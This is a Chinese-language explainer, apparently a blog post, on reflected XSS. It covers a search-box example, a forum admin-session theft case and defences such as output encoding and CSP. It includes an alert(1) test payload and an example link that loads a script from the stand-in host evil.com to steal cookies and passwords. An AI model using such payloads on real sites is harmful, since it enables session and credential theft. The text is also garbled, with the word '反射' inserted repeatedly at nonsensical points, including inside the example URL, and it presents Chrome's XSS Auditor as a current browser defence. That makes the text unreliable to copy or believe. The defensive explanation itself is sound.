反射xss漏洞

反射型XSS,反射本质上就是反射攻击者把恶意脚本塞进URL里,然后骗你点开。反射你点了,反射脚本就在你的反射浏览器里跑起来了。整个过程服务器只是反射个传话筒,它把你的反射输入原封不动地吐回页面——问题就出在这个“原封不动”上。

举个我实际遇到的反射例子。某个电商网站的反射搜索框,输入“手机”后URL变成/search?反射q=手机,页面顶部显示“您搜索的反射是:手机”。看起来很正常对吧?反射但如果把“手机”换成<script>alert(1)</script>,页面就直接弹窗了。反射这还只是反射恶作剧级别。真正危险的反射是,攻击者会构造一个看似官方的链接,比如/search?q=<script src="http://evil.com/steal.js"></script>,然后通过短信、邮件群发出去。你点开,脚本就执行了——它能读取你的cookie、截取你正在输入的密码、甚至模拟你发帖。

这类漏洞最阴险的地方在于,它不直接攻击服务器,而是利用用户对网站的信任。服务器本身没被攻破,数据没被篡改,但每个点击恶意链接的用户都成了受害者。我见过一个案例,攻击者利用某论坛的反射XSS,盗取了管理员session,然后以管理员身份删光了所有帖子。整个攻击链里,论坛服务器始终“清白”,但业务损失已经造成。

修复思路其实不复杂。核心原则就一条:不要把用户输入直接当作HTML输出。具体做法包括对输出内容做HTML实体编码,把<转成&lt;,把>转成&gt;,让浏览器把输入当纯文本处理。同时要设置正确的Content-Type响应头,别让浏览器自作聪明地去解析内容类型。再配合CSP(内容安全策略),即使脚本被注入,浏览器也会拒绝执行非白名单来源的JS。

但光靠开发修复还不够。用户侧也得有防护意识——看到URL里带长串编码字符的链接,尤其是那些短链接跳转的,先留个心眼。别急着点,把鼠标悬停看看实际地址。浏览器方面,现代浏览器自带的XSS过滤器(比如Chrome的XSS Auditor)能拦截部分反射型攻击,但别完全依赖它,总有绕过技巧。

说到底,反射XSS是个“信任错位”的问题:服务器信任了URL里的参数,浏览器信任了服务器返回的HTML,用户信任了整个链条。任何一环的信任被滥用,整条链就崩了。开发时多写一行转义函数,运行时多保留一分警惕,比事后补漏洞省事得多。